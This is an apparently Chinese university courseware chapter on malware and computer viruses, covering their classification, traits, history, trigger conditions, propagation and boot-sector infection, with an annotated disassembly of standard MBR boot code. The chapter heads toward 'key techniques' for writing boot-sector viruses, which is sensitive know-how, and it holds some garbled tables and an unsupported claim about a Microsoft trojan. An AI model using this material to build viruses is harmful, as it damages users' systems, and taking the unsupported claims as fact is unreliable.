信息系統(tǒng)安全原理課件_第1頁
信息系統(tǒng)安全原理課件_第2頁
信息系統(tǒng)安全原理課件_第3頁
信息系統(tǒng)安全原理課件_第4頁
信息系統(tǒng)安全原理課件_第5頁
已閱讀5頁,還剩979頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

惡意程序及其防范計(jì)算機(jī)病毒是惡意程序的一種。所謂惡意程序,是指一類特殊的程序,它們通常在用戶不知曉也未授權(quán)的情況下潛入到計(jì)算機(jī)系統(tǒng)中來。惡意程序可以分為許多類型。圖1.1為按照有無自我復(fù)制功能和需要不需要宿主對惡意程序的分類情形。陷門(TrapDoors)是進(jìn)入程序的一些秘密入口。陷門中有些是程序員為了進(jìn)行調(diào)試和測試而預(yù)留的一些特權(quán),有些則是系統(tǒng)漏洞。黑客也挖空心思地設(shè)計(jì)陷門,以便以特殊的、不經(jīng)授權(quán)的方式進(jìn)入系統(tǒng)。陷門通常寄生于某些程序(有宿主),但無自我復(fù)制功能。邏輯炸彈是嵌入某些合法程序的一段代碼,沒有自我復(fù)制功能,在某些條件下會執(zhí)行一個(gè)有害程序,造成一些破壞。特洛伊木馬是計(jì)算機(jī)網(wǎng)絡(luò)中一種包含有害代碼的有用或表面上有用的程序或過程,激活時(shí)產(chǎn)生有害行為。它們不具備自我復(fù)制功能。

細(xì)菌是以自我繁殖為主要目的的程序。蠕蟲是一種通過網(wǎng)絡(luò)自我復(fù)制的惡意程序。通常人們也把它稱為病毒的一種。因?yàn)?,蠕蟲一旦被激活,可以表現(xiàn)得像細(xì)菌和病毒,可以向系統(tǒng)注入特洛伊木馬,或進(jìn)行任何次數(shù)的破壞或毀滅行動(dòng)。典型的蠕蟲只會在內(nèi)存維持一個(gè)活動(dòng)副本。此外,蠕蟲是一個(gè)獨(dú)立程序,自身不改變?nèi)魏纹渌绦?,但可以攜帶具有改變其他程序的病毒。其中,計(jì)算機(jī)病毒是所有計(jì)算機(jī)用戶在計(jì)算機(jī)安全問題上,經(jīng)常碰到的問題。在1999年SecurityPoral的報(bào)告中,排在計(jì)算機(jī)安全問題第一位的是計(jì)算機(jī)病毒事件,其次是與計(jì)算機(jī)病毒關(guān)系極為密切的黑客問題。所以本章以病毒為主,介紹惡意程序的特點(diǎn)及其防治。

1.1計(jì)算機(jī)病毒的概念返回1.1.1計(jì)算機(jī)病毒的定義人類發(fā)明了工具,改變了世界,也改變了人類自己。自20世紀(jì)40年代起,計(jì)算技術(shù)與電子技術(shù)的結(jié)合,使推動(dòng)人類進(jìn)步的工具從體力升華到了智力。計(jì)算機(jī)的出現(xiàn),將人類帶進(jìn)了信息時(shí)代,使人類生產(chǎn)力進(jìn)入了一個(gè)特別的發(fā)展時(shí)期。

計(jì)算機(jī)的靈魂是程序。正是建立在微電子載體上的程序,才將計(jì)算機(jī)的延伸到了人類社會的各個(gè)領(lǐng)域?!俺梢彩捄危瑪∫彩捄巍?。人的智慧可以創(chuàng)造人類文明,也可以破壞人類已經(jīng)創(chuàng)造的文明。隨著計(jì)算機(jī)系統(tǒng)設(shè)計(jì)技術(shù)向社會各個(gè)領(lǐng)域急劇擴(kuò)展,人們開發(fā)出了將人類帶入信息時(shí)代的計(jì)算機(jī)程序的同時(shí),也開發(fā)出了給計(jì)算機(jī)系統(tǒng)帶來副作用的計(jì)算機(jī)病毒程序。在生物學(xué)界,病毒(virus)是一類沒有細(xì)胞結(jié)構(gòu)但有遺傳、復(fù)制等生命特征,主要由核酸和蛋白質(zhì)組成的有機(jī)體。在《中華人民共和國計(jì)算機(jī)信息系統(tǒng)安全保護(hù)條例》中,計(jì)算機(jī)病毒(ComputerVirus)被明確定義為:“計(jì)算機(jī)病毒,是指編制或者在計(jì)算機(jī)程序中插入的破壞計(jì)算機(jī)功能或者破壞數(shù)據(jù)、影響計(jì)算機(jī)使用,并且能夠自我復(fù)制的一組計(jì)算機(jī)指令或者程序代碼”。1.1.2計(jì)算機(jī)病毒的特征計(jì)算機(jī)病毒有一些與生物界中的病毒極為相似的特征,這也就是所以稱其為病毒的緣由。這些特征有如下一些。1.傳染性和衍生性病毒也是一種程序,它與其他程序的顯著不同之處,就是它的傳染性。與生物界中的病毒可以從一個(gè)生物體傳播到另一個(gè)生物體一樣,計(jì)算機(jī)病毒可以借助各種渠道從已經(jīng)感染的計(jì)算機(jī)系統(tǒng)擴(kuò)散到其他計(jì)算機(jī)系統(tǒng)。早在1949年,計(jì)算機(jī)的先驅(qū)者VonNeumann就在他的論文《復(fù)雜自動(dòng)機(jī)組織論》中,提出了計(jì)算機(jī)程序在內(nèi)存中自我復(fù)制的設(shè)想,勾畫了病毒程序的藍(lán)圖。1977年夏天,美國作家托馬斯·捷·瑞安在其幻想小說《P-1的青春》一書中構(gòu)思了一種能夠自我復(fù)制的計(jì)算機(jī)程序,第一次使用了“計(jì)算機(jī)病毒”的術(shù)語。所以自我復(fù)制應(yīng)當(dāng)是計(jì)算機(jī)病毒的主要特征。

20世紀(jì)60年代初,美國貝爾實(shí)驗(yàn)室里,三個(gè)年輕的程序員編寫了一個(gè)名為“磁芯大戰(zhàn)”的游戲,游戲中通過復(fù)制自身來擺脫對方的控制,這就是計(jì)算機(jī)“病毒”的雛形。1983年美國計(jì)算機(jī)專家弗雷德·科恩博士研制出一種在運(yùn)行過程中可以自我復(fù)制的具有破壞性的程序,并在同年11月召開的國際計(jì)算機(jī)安全學(xué)術(shù)研討會,首次將病毒程序在VAX/750計(jì)算機(jī)上進(jìn)行了實(shí)驗(yàn)。世界上第一個(gè)計(jì)算機(jī)病毒就這樣出生在實(shí)驗(yàn)室中。

20世紀(jì)80年代初,計(jì)算機(jī)病毒(如“巴基斯坦智囊”病毒)主要感染軟盤的引導(dǎo)區(qū)。20世紀(jì)80年代末,出現(xiàn)了感染硬盤的病毒(如“大麻”病毒)。20世紀(jì)90年代初,出現(xiàn)了感染文件的病毒(如“Jerusalem,黑色13號星期五”病毒)。接著出現(xiàn)了引導(dǎo)區(qū)和文件型“雙料”病毒,既感染磁盤引導(dǎo)區(qū)又感染可執(zhí)行文件。20世紀(jì)90年代中期,稱為“病毒生產(chǎn)機(jī)”的軟件開始出現(xiàn),使病毒的傳播不再是簡單的自我復(fù)制,而是可以自動(dòng)、輕易地自動(dòng)生產(chǎn)出大量的“同族”新病毒。這些病毒代碼長度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數(shù)的保存地址不同,病毒的發(fā)作條件和現(xiàn)象不同。

1995年大量具有相同“遺傳基因”的“同族”病毒的涌現(xiàn),標(biāo)志著“病毒生產(chǎn)機(jī)”軟件已出現(xiàn)。目前國際上已有上百種“病毒生產(chǎn)機(jī)”軟件。這種“病毒生產(chǎn)機(jī)”軟件不用絞盡腦汁地去編程序,便可以輕易地自動(dòng)生產(chǎn)出大量的“同族”新病毒。這些病毒代碼長度各不相同,自我加密、解密的密鑰也不相同,原文件頭重要參數(shù)的保存地址不同,病毒的發(fā)作條件和現(xiàn)象不同,但主體構(gòu)造和原理基本相同。這就是病毒的衍生性。與此同時(shí),Internet的發(fā)展,也為病毒的快速傳播提供了方便途徑。

2.潛伏性和隱蔽性計(jì)算機(jī)病毒通常是由技術(shù)高超者編寫的比較完美的、精巧嚴(yán)謹(jǐn)、短小精悍的程序。它們常常按照嚴(yán)格的秩序組織,與所在的系統(tǒng)網(wǎng)絡(luò)環(huán)境相適應(yīng)、相配合。病毒程序一旦取得系統(tǒng)控制權(quán),可以在極短的時(shí)間內(nèi)傳染大量程序。但是,被感染的程序并不是立即表現(xiàn)出異常,而是潛伏下來,等待時(shí)機(jī)。除了不發(fā)作外,計(jì)算機(jī)病毒的潛伏還依賴于其隱蔽性。為了隱蔽,病毒通常非常短?。ㄒ话阒挥袔装倩?K字節(jié),此外還寄生于正常的程序或磁盤較隱蔽的地方,也有個(gè)別以隱含文件形式存在,使人不經(jīng)過代碼分析很難被發(fā)覺。

20世紀(jì)90年代初,計(jì)算機(jī)病毒開始具有對抗機(jī)制。例如YankeeDoole病毒,當(dāng)它發(fā)現(xiàn)有人用Debug工具跟蹤它,就會自動(dòng)從文件中逃走。此外還相繼出現(xiàn)了一些能對自身進(jìn)行簡單加密的病毒,如1366(DaLian)、1824(N64)、1741(Dong)、1100等。加密的目的主要是防止跟蹤或掩蓋有關(guān)特征等。例如在內(nèi)存有1741病毒時(shí),用DIR列目錄表,病毒會掩蓋被感染文件所增加的字節(jié)數(shù),使人看起來字節(jié)數(shù)很正常。

3.寄生性(1)病毒的寄生場所寄生是病毒的重要特征。計(jì)算機(jī)病毒一般寄生在以下地方:(a)寄生在可執(zhí)行程序中。一旦程序執(zhí)行,病毒就被激活,病毒程序首先被執(zhí)行并常駐內(nèi)存,然后置觸發(fā)條件。感染的文件被執(zhí)行后,病毒就會趁機(jī)感染下一個(gè)文件。文件型病毒可以分為源碼型病毒、嵌入型病毒和外殼型病毒。源碼型病毒是用高級語言編寫的,不進(jìn)行編譯、鏈接,就無法傳染擴(kuò)散。嵌入型病毒是嵌入在程序的中間,只能針對某些具體程序。外殼型病毒寄生在宿主程序的前面或后面,并修改程序的第1條指令,使病毒先于宿主程序執(zhí)行,以便一執(zhí)行宿主程序就傳染一次。

(b)寄生在硬盤的主引導(dǎo)扇區(qū)中。這類病毒也稱引導(dǎo)型病毒。任何操作系統(tǒng)都有自舉過程,自舉依靠引導(dǎo)模塊進(jìn)行,而操作系統(tǒng)的引導(dǎo)模塊總是放在某個(gè)固定位置,這樣系統(tǒng)每次啟動(dòng)就會在這個(gè)固定的地方來將引導(dǎo)模塊讀入內(nèi)存,緊接著就執(zhí)行它,來把操作系統(tǒng)讀入內(nèi)存,實(shí)現(xiàn)控制權(quán)的轉(zhuǎn)接。引導(dǎo)型病毒程序就是利用這一點(diǎn),它自身占據(jù)了引導(dǎo)扇區(qū)而將原來的引導(dǎo)扇區(qū)的內(nèi)容和病毒的其他部分放到磁盤的其他空間,并將這些扇區(qū)標(biāo)志為壞簇,不可寫其他信息。這樣,系統(tǒng)的一次初始化,就激活一次病毒,它首先將自身拷貝到內(nèi)存,等待觸發(fā)條件到來。

引導(dǎo)型病毒按其寄生對象,可以分為MBR(主引導(dǎo)區(qū))病毒和BR(引導(dǎo)區(qū))病毒。MBR病毒也稱分區(qū)病毒,這類病毒寄生在硬盤分區(qū)主引導(dǎo)程序所占據(jù)的硬盤0頭0柱面第1扇區(qū),典型的有Stoned(大麻)病毒、2708病毒等。BR病毒則寄生在硬盤邏輯0扇區(qū)或軟盤0扇區(qū)(即0面0道的第1扇區(qū)),典型的有Brain病毒、小球病毒等。

(2)計(jì)算機(jī)病毒的寄生方式(a)替代法:病毒程序用自己的全部或部分代碼,替代磁盤引導(dǎo)扇區(qū)或文件中的全部或部分內(nèi)容。(b)鏈接法:病毒程序?qū)⒆陨泶a作為正常程序的一部分與原有正常程序鏈接在一起。鏈接的位置可能在正常程序的首部、尾部或中間。

4.觸發(fā)性潛伏下來的計(jì)算機(jī)病毒一般要在一定的條件下才被激活,發(fā)起攻擊。病毒具有判斷這個(gè)條件的功能。

5.非授權(quán)執(zhí)行性用戶在調(diào)用一個(gè)程序時(shí),常常就把系統(tǒng)的控制權(quán)交給這個(gè)程序并給它分配相應(yīng)的系統(tǒng)資源,使程序的執(zhí)行對用戶是透明的。計(jì)算機(jī)病毒具有正常程序所具有的一切特性,它隱蔽在合法程序和數(shù)據(jù)中;當(dāng)用戶運(yùn)行正常程序時(shí),病毒伺機(jī)取得系統(tǒng)的控制權(quán),先于正常程序執(zhí)行,并對用戶呈透明狀態(tài)。

6.破壞性計(jì)算機(jī)病毒的設(shè)計(jì)者進(jìn)行病毒程序設(shè)計(jì)的目的就是為了攻擊破壞。下面對病毒的破壞性進(jìn)行分類介紹。(1)病毒破壞的能力按照病毒的破壞能力,可將病毒劃分為以下幾種:·無害型:除了傳染時(shí)減少磁盤的可用空間外,對系統(tǒng)沒有其它影響?!o危險(xiǎn)型:這類病毒僅僅是減少內(nèi)存、顯示圖像、發(fā)出聲音及同類音響。·危險(xiǎn)型:這類病毒在計(jì)算機(jī)系統(tǒng)操作中造成嚴(yán)重的錯(cuò)誤。·

非常危險(xiǎn)型:這類病毒刪除程序、破壞數(shù)據(jù)、清除系統(tǒng)內(nèi)存區(qū)和操作系統(tǒng)中重要的信息。

(2)病毒的入侵方式

(a)源代碼嵌入攻擊型這類病毒主要入侵高級語言的源程序。病毒在源程序編譯之前就插入進(jìn)來,最后隨源程序一起被編譯成帶毒可執(zhí)行文件。這類帶毒文件是極少數(shù),因?yàn)檫@些病毒開發(fā)者不可能輕易得到那些軟件開發(fā)公司編譯前的源程序,并且入侵的方式難度較大,需要非常專業(yè)的編程水平。(b)代碼取代攻擊型這類病毒主要是用它自身的代碼取代某個(gè)入侵程序或該程序的部分模塊。這類病毒也少見,它主要是攻擊特定的程序,針對性較強(qiáng),但是不易被發(fā)現(xiàn),清除起來也較困難。

(c)系統(tǒng)修改型這類病毒主要是用自身代碼覆蓋或修改系統(tǒng)中的某些文件來達(dá)到調(diào)用或替代操作系統(tǒng)中的部分功能,由于是直接感染系統(tǒng),危害較大,也是最為多見的一種病毒類型,多為文件型病毒。(d)外殼附加型這類病毒通常附加在正常程序的頭部或尾部,相當(dāng)于給程序添加了一個(gè)外殼,在被感染的程序執(zhí)行時(shí),病毒代碼先被執(zhí)行,然后才將正常程序調(diào)入內(nèi)存。目前大多數(shù)文件型的病毒屬于這一類。

(3)病毒破壞性的表現(xiàn)(a)占用CPU資源,額外占用或消耗內(nèi)存空間,或禁止分配內(nèi)存、蠶食內(nèi)存,導(dǎo)致一些大型程序執(zhí)行受阻,使系統(tǒng)性能下降。(b)干擾系統(tǒng)運(yùn)行,例如不執(zhí)行命令、干擾內(nèi)部命令的執(zhí)行、虛發(fā)報(bào)警信息、打不開文件、內(nèi)部棧溢出、占用特殊數(shù)據(jù)區(qū)、時(shí)鐘倒轉(zhuǎn)、重啟動(dòng)、死機(jī)、文件無法存盤、文件存盤時(shí)丟失字節(jié)、內(nèi)存減小、格式化硬盤等。(c)攻擊CMOS。CMOS是保存系統(tǒng)參數(shù)(如系統(tǒng)時(shí)鐘、磁盤類型、內(nèi)存容量等)的重要場所。有的病毒(如CIH病毒)可以通過改寫CMOS參數(shù),破壞系統(tǒng)硬件的運(yùn)行。(d)攻擊系統(tǒng)數(shù)據(jù)區(qū)。硬盤的主引導(dǎo)扇區(qū)、boot(引導(dǎo))扇區(qū)、FAT(文件分配)表、文件目錄等,是系統(tǒng)重要的數(shù)據(jù),這些數(shù)據(jù)一旦受損,將造成相關(guān)文件的破壞。

(e)干擾外部設(shè)備運(yùn)行,如·干擾鍵盤操作。如EDV病毒能封鎖鍵盤,使按任何鍵都沒有反應(yīng);還有病毒產(chǎn)生換字、抹掉緩存區(qū)字符、輸入紊亂等?!じ蓴_屏幕顯示。如小球病毒產(chǎn)生跳動(dòng)的小白點(diǎn);瀑布病毒使顯示的字符像雨點(diǎn)一樣一個(gè)個(gè)落到屏幕底部等。·干擾聲響。如感染Attention病毒后,每按一鍵,喇叭就響一聲;YankeeDoodle病毒在每天下午5時(shí)整會播出歌曲“YankeeDoodle”;救護(hù)車病毒(AmbulanceCar)會在屏幕上出現(xiàn)一輛鳴著警笛來回跑的救護(hù)車?!じ蓴_打印機(jī)。如Azsua病毒可以封鎖打印機(jī)接口LPT1,當(dāng)使用打印機(jī)時(shí),會發(fā)出缺紙的假報(bào)警;1024SBC病毒會使打印機(jī)出現(xiàn)斷斷續(xù)續(xù)的打印失常;Typo-COM病毒會更換字符。

(f)攻擊文件?,F(xiàn)在發(fā)現(xiàn)的病毒中,大多數(shù)是文件型病毒。這些病毒會使染毒文件的長度、文件存盤時(shí)間和日期發(fā)生變化。例如,百年病毒、4096病毒等。(g)劫取機(jī)密數(shù)據(jù)。例如,微軟公司在它的MicrosoftNetwork中加入一種特洛伊木馬程序,會把用戶系統(tǒng)軟件和硬件的完整清單送回到微軟公司。(h)破壞網(wǎng)絡(luò)系統(tǒng)的正常運(yùn)行。例如發(fā)送垃圾郵件、占用帶寬,使網(wǎng)絡(luò)拒絕服務(wù)等。有些病毒的破壞作用往往是多樣的。

1.1.3計(jì)算機(jī)病毒的結(jié)構(gòu)計(jì)算機(jī)病毒的種類很多,但是它們的主要結(jié)構(gòu)是類似的,一般需要包含4部分:引導(dǎo)部分、傳染部分、表現(xiàn)部分和破壞部分。(1)引導(dǎo)部分:就是病毒程序的初始化部分。它的作用是將病毒的主體加載到內(nèi)存,為傳染部分做準(zhǔn)備(如駐留內(nèi)存、修改中斷、修改高端內(nèi)存、保存原中斷向量等操作)。(2)傳染部分:作用是將病毒代碼復(fù)制到傳染目標(biāo)上去。傳染需要一定的條件。不同類型的病毒在傳染方式、傳染條件上各不相同。進(jìn)行傳播之前,先要判斷傳染條件。(3)表現(xiàn)部分:作用是在被傳染系統(tǒng)上表現(xiàn)出特定現(xiàn)象。大部分病毒都是在一定條件下才會觸發(fā)表現(xiàn)部分的。(4)破壞部分:作用是產(chǎn)生破壞被傳染系統(tǒng)的行為。

1.2計(jì)算機(jī)病毒原理

返回1.2.1計(jì)算機(jī)病毒的引導(dǎo)過程計(jì)算機(jī)病毒的引導(dǎo)過程一般分為三步:駐留內(nèi)存、竊取控制權(quán)和恢復(fù)系統(tǒng)功能。1.駐留內(nèi)存病毒要發(fā)揮其破壞作用,多數(shù)要駐留內(nèi)存。為了駐留內(nèi)存,就必須開辟內(nèi)存空間或覆蓋系統(tǒng)占用的部分內(nèi)存空間。2.竊取控制權(quán)計(jì)算機(jī)病毒駐留內(nèi)存后,接下來的工作是取代或擴(kuò)充系統(tǒng)原有功能,并竊取系統(tǒng)的控制權(quán)。3.恢復(fù)系統(tǒng)功能計(jì)算機(jī)病毒竊取系統(tǒng)控制權(quán)后,就要開始潛伏等待,即根據(jù)其設(shè)計(jì)思想,隱蔽自己,等待時(shí)機(jī),在條件成熟時(shí),再進(jìn)行傳染和破壞。然而,病毒為了隱蔽自己,駐留內(nèi)存后還要恢復(fù)系統(tǒng),使系統(tǒng)不致死機(jī)。

1.2.2計(jì)算機(jī)病毒的觸發(fā)機(jī)制下面例舉一些病毒的觸發(fā)(激活)條件。(1)日期/時(shí)間觸發(fā):計(jì)算機(jī)病毒讀取系統(tǒng)時(shí)鐘,判斷是否激活。例如:PETER-2,在每年2月27日會提出3個(gè)問題,答錯(cuò)后會將硬盤加密。YankeeDoodle,在每天下午5時(shí)發(fā)作。“黑色星期五”,逢13日的星期五發(fā)作?!吧虾R惶枴?,在每年的三、六、九月的13日發(fā)作。1998年2月,臺灣省的陳盈豪,編寫出了破壞性極大的Windows惡性病毒CIH-1.2版,并定于每年的4月26日發(fā)作破壞,然后,悄悄地潛伏在網(wǎng)上的一些供人下載的軟件中??墒?,兩個(gè)月的時(shí)間,被人下載的不多,到了4月26日,病毒只在臺灣省少量發(fā)作,并沒引起重視。陳盈豪又炮制了CIH-1.3版,并將破壞時(shí)間設(shè)在6月26日。7月,又炮制出了CIH-1.4版。這次,他干脆將破壞時(shí)間設(shè)為每個(gè)月的26日。

(2)計(jì)數(shù)器觸發(fā):計(jì)算機(jī)病毒內(nèi)部設(shè)定一個(gè)計(jì)數(shù)單元,對系統(tǒng)事件進(jìn)行計(jì)數(shù),判定是否激活。例如,2708病毒當(dāng)系統(tǒng)啟動(dòng)次數(shù)達(dá)到32次時(shí)被激活,發(fā)起對串、并口地址的攻擊。(3)鍵盤觸發(fā):當(dāng)敲入某些字符時(shí)觸發(fā)(如AIDS病毒,在敲如A、I、D、S時(shí)發(fā)作)、或以擊鍵次數(shù)(如Devil’sDance病毒在用戶第2000次擊鍵時(shí)被觸發(fā))或組合鍵等為激發(fā)條件(如Invader病毒在按下Ctrl+Alt+Del鍵時(shí)發(fā)作)。(4)啟動(dòng)觸發(fā):以系統(tǒng)的啟動(dòng)次數(shù)作為觸發(fā)條件。例如Anti-Tei和Telecom病毒當(dāng)系統(tǒng)第400次啟動(dòng)時(shí)被激活。(5)感染觸發(fā):以感染文件個(gè)數(shù)、感染序列、感染磁盤數(shù)、感染失敗數(shù)作為觸發(fā)條件。例如,BlackMonday病毒在運(yùn)行第240個(gè)染毒程序時(shí)被激活;VHP2病毒每感染8個(gè)文件就會觸發(fā)系統(tǒng)熱啟動(dòng)操作等。(6)組合條件觸發(fā):用多種條件綜合使用,作為計(jì)算機(jī)病毒的觸發(fā)條件。

1.2.3計(jì)算機(jī)病毒的傳播計(jì)算機(jī)病毒的傳播過程就是其傳染過程。病毒的傳染大體上有如下三個(gè)途徑:1.文件傳染傳播病毒的文件可以分為三類:(1)可執(zhí)行文件,即擴(kuò)展名為.EXE,.PE,.SYS等的文件。(2)文檔文件或數(shù)據(jù)文件,例如Word文檔,Exel文檔,Accss數(shù)據(jù)庫文件。宏病毒(Macro)就感染這些文件。(3)Web文檔,如.html文檔和.htm文檔。已經(jīng)發(fā)現(xiàn)的Web病毒有HTML/Prepend和HTML/Redirect等。

文件傳染可能采用如下一種方式:(1)駐留(Resident)復(fù)制:復(fù)制病毒裝入內(nèi)存后,發(fā)現(xiàn)另一個(gè)系統(tǒng)運(yùn)行的程序文件后進(jìn)行傳染。(2)非駐留(Nonrresident)復(fù)制:病毒選擇磁盤上一個(gè)或多個(gè)文件,不等它們裝入內(nèi)存,就直接進(jìn)行感染。

2.引導(dǎo)扇區(qū)傳染引導(dǎo)扇區(qū)病毒在系統(tǒng)初始化時(shí)自動(dòng)裝入內(nèi)存,然后簡單地將指令指針(指令計(jì)數(shù)器的內(nèi)容)修改到一個(gè)存儲系統(tǒng)指令的新的位置。于是便以普通方式啟動(dòng),而病毒已經(jīng)駐留在了內(nèi)存。所以,不需要用戶執(zhí)行磁盤上任何被感染的程序,只要有訪問磁盤的操作,就可以進(jìn)行復(fù)制。

3.網(wǎng)絡(luò)及電子郵件傳播與文件傳播和引導(dǎo)扇區(qū)傳播不同,由于數(shù)據(jù)共享和相互協(xié)作網(wǎng)絡(luò)傳播的是病毒直接通過網(wǎng)絡(luò)傳染到目標(biāo)機(jī)系統(tǒng)。

1.3計(jì)算機(jī)病毒編制的關(guān)鍵技術(shù)

返回1.3.1DOS引導(dǎo)型病毒編制的關(guān)鍵技術(shù)1.DOS系統(tǒng)的結(jié)構(gòu)DOS系統(tǒng)由以下4部分組成:(1)引導(dǎo)記錄(BootRecord)。用于將IO.SYS模塊裝入內(nèi)存。(2)IO.SYS(DOS的基本輸入輸出模塊BIOS),由下面兩塊組成:

·系統(tǒng)初始化程序SYSINIT,完成初始化工作,主要包括:確定系統(tǒng)設(shè)備配置和內(nèi)存容量;初始化串、I/O并口;計(jì)算后面模塊的裝入位置并將MSDOS.SYS和COMMAND.COM裝入內(nèi)存;設(shè)置系統(tǒng)參數(shù),加載設(shè)置驅(qū)動(dòng)程序。

·標(biāo)準(zhǔn)字符和塊設(shè)備驅(qū)動(dòng)程,用于支持基本輸入輸出操作。(3)MSDOS.SYS(DOS的內(nèi)核),提供應(yīng)用程序管理、內(nèi)存管理、文件管理等。(4)COMMAND.COM(DOS的外殼),是用戶與操作系統(tǒng)的接口。

2.DOS磁盤的區(qū)域分配DOS格式化磁盤由4個(gè)區(qū)域組成:引導(dǎo)扇區(qū)(BootArea)——硬盤含有主引導(dǎo)扇區(qū)、文件分配表(FAT)、根目錄表(RootDirectoryTable,F(xiàn)DT)和文件數(shù)據(jù)區(qū)(DataArea)。表1.1為DOS格式化磁盤的區(qū)域組成。其中;邏輯區(qū)號=[柱面號×總面積+面號]×每到扇區(qū)數(shù)+扇區(qū)號表1.1DOS格式化磁盤的區(qū)域組成。

360k軟盤分布起始物理扇區(qū)20M硬盤分布邏輯扇區(qū)號對應(yīng)區(qū)域頭號柱面號扇區(qū)號邏輯扇區(qū)號對應(yīng)區(qū)域01~45~1112~719

BOOT區(qū)FAT表根目錄表數(shù)據(jù)區(qū)0111300011112161401~8283~114115~41598主引導(dǎo)區(qū)BOOT區(qū)FAT表根目錄表數(shù)據(jù)區(qū)(1)主引導(dǎo)扇區(qū),位于硬盤的0柱面0磁道1扇區(qū),存放有主引導(dǎo)記錄(MianBootRecord,MBR)和4個(gè)分區(qū)表(DiskPartitionTable,DPT)。圖1.2為主引導(dǎo)扇區(qū)的結(jié)構(gòu)。

區(qū)域信息內(nèi)容0000H~00BAH主引導(dǎo)記錄啟動(dòng)程序008BH~00D9H主引導(dǎo)記錄啟動(dòng)字符串01DAH~01BDH空閑區(qū)01BEH~01CDH分區(qū)1結(jié)構(gòu)信息01CEH~01DDH分區(qū)1結(jié)構(gòu)信息01DEH~01FDH分區(qū)1結(jié)構(gòu)信息01EEH~01FDH分區(qū)1結(jié)構(gòu)信息01FEH~01FFH55AAH主引導(dǎo)記錄有效標(biāo)志MBR的作用是檢查分區(qū)表是否正確以及確定哪個(gè)分區(qū)為引導(dǎo)分區(qū)(要將控制權(quán)交給的操作系統(tǒng)所在分區(qū)),并在程序結(jié)束時(shí)把該分區(qū)的啟動(dòng)程序(即操作系統(tǒng)引導(dǎo)扇區(qū))調(diào)入內(nèi)存加以執(zhí)行。

(2)引導(dǎo)扇區(qū)位于邏輯0扇區(qū)處(即軟盤的0面0道1扇區(qū),硬盤的DOS分區(qū)的1扇區(qū))。在DOS的啟動(dòng)過程中,中斷服務(wù)程序INT19H(自舉程序)將引導(dǎo)記錄

調(diào)入內(nèi)存的0000H~7C00H處,并把控制權(quán)交給它。這時(shí),引導(dǎo)記錄將檢查啟動(dòng)盤上是否有DOS系統(tǒng),即根目錄中的前兩個(gè)文件是否為IO.SYS和MSDOS.SYS。若是,則把文件IO.SYS讀入到內(nèi)存的70H~0H處,并把主控制權(quán)交給IO.SYS;否則給出非系統(tǒng)盤的錯(cuò)誤信息。

3.DOS的自舉過程圖1.3為DOS的自舉過程??梢钥闯觯谶@個(gè)自舉過程中,系統(tǒng)的控制權(quán)按照下面的順序轉(zhuǎn)移:ROMBIOS→DOS引導(dǎo)程序→IO.SYS→MSDOS.SYS→COMMAND.COM→用戶

主引導(dǎo)記錄程序的基本功能是讀出自舉分區(qū)的BOOT程序,并把控制權(quán)轉(zhuǎn)移到分區(qū)BOOT程序。在這一過程中,關(guān)鍵性的技術(shù)有:(1)將本來要讀入到0000:7C00H處的硬盤主引導(dǎo)記錄程序轉(zhuǎn)移到0000:0600H處。代碼段如下:

偏移 機(jī)器碼 符號指令 說明

0000 FA cli ;屏蔽中斷0001 33C0 xorax,ax ;0003 8ED0 movss,ax ;(ss)=0000H0005 BC007C movsp,7c00 ;(sp)=7C00H0008 8BF4 movsi,sp ;(si)=7C00H000A 50 pushax ;000B 07 popes ;(es)=0000H000C 50 pushax ;000D 1F popds ;(ds)=0000H000E FB sti ;000F FC cld ;0010 BF0006 movdi,0600 ;0013 890001 movcx,0100 ;0016 F2 repnz ;A5 movsw ;主引導(dǎo)程序把自己從0000:7c00處搬移到0000:0600處, ;為DOS分區(qū)的引導(dǎo)程序騰出空間 …(2)順序讀入4個(gè)分區(qū)表的自舉標(biāo)志,以找出自舉分區(qū):若找不到,就轉(zhuǎn)向執(zhí)行INT18H的BOOT異常,執(zhí)行異常中斷程序。偏移 機(jī)器碼 符號指令 說明001D BEBE07 movsi,07be ;分區(qū)表首地址01BE=07BE-06000020 B304 movbl,04 ;最多4個(gè)分區(qū)0022 803C80 cmpbyteptr[si],80 ;80H表示活動(dòng)分區(qū)0025 740E jz0035 ;找到活動(dòng)分區(qū)則跳走0027 803C00 cmpbyteptr[si],00 ;00H表示有效分區(qū)002A 751C jnz0048;非80H,也非00H,為無效分區(qū)002C 83C610 addsi,+10;下一個(gè)分區(qū)表項(xiàng),每項(xiàng)16(10H)字節(jié)002F FECB decbl ;循環(huán)計(jì)數(shù)減10031 75EF jnz0022;檢查下一個(gè)分區(qū)表項(xiàng)0033 CD18 int18 ;4個(gè)都不可引導(dǎo),進(jìn)入ROMBIOS0035 8B14 movdx,[si] 0037 8B4C02 movcx,[si+02];取分區(qū)的引導(dǎo)扇區(qū)的柱面、扇區(qū)活動(dòng)003A 8BEE movbp,si;繼續(xù)檢查后面的分區(qū)表項(xiàng)003C 83C610 addsi,+10 …(3)找到自舉分區(qū)后,檢測該分區(qū)的標(biāo)志:如果是32位或16位FAT,并支持13號中斷的擴(kuò)展功能,就轉(zhuǎn)到執(zhí)行13號中斷的41號功能調(diào)用,進(jìn)行安裝檢測;檢測成功,就執(zhí)行42號擴(kuò)展功能調(diào)用,把BOOT程序讀入到內(nèi)存0000:7c00H處。讀入成功,就執(zhí)行0000:7c00H處的程序;讀入失敗,就調(diào)用13號中斷的讀扇區(qū)功能,把BOOT程序讀入到內(nèi)存0000:7c00H處。4.引導(dǎo)型病毒的傳染過程引導(dǎo)型病毒制駐留在硬盤的主引導(dǎo)分區(qū)或硬/軟盤的DOS引導(dǎo)分區(qū)的病毒。它的感染過程分兩大步:裝入內(nèi)存和攻擊。(1)裝入內(nèi)存過程:

1系統(tǒng)開機(jī)后,進(jìn)入系統(tǒng)檢測,檢測正常后,從0面0道1扇區(qū),即邏輯0扇區(qū)讀取信息到內(nèi)存的0000~7C00處:

·正常時(shí),磁盤0面0道1扇區(qū),即邏輯0扇區(qū)存放的是boot引導(dǎo)程序;

